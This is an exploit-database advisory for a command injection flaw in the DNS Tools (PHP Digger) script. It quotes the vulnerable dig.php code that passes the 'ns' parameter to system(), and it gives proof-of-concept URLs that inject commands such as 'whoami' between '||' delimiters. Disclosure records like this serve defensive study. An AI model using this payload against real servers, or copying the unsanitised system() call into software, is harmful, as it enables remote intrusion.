DNS Tools (PHP Digger) Remote Command Execution

vendor:

DNS Tools (PHP Digger)

by:

SirGod

7,5

CVSS

HIGH

Remote Command Execution

CWE

Product Name: DNS Tools (PHP Digger)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DNS Tools (PHP Digger) Remote Command Execution

We can execute commands via 'ns' variable. Just use || before and after the command.

Mitigation:

Input validation should be done to prevent command injection.

Source

Exploit-DB raw data:

############################################################################################
[+] DNS Tools (PHP Digger) Remote Command Execution
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
############################################################################################

[+] Remote Command Execution

 - Vulnerable code in dig.php

------------------------------------------
$ns  = $_GET['ns'];

 system ("dig @$ns $host $query_type");
------------------------------------------

We can execute commands via "ns" variable.Just use || before and after
the command.

 PoC :

  http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging

 Example :

  http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging

############################################################################################

# milw0rm.com [2009-04-16]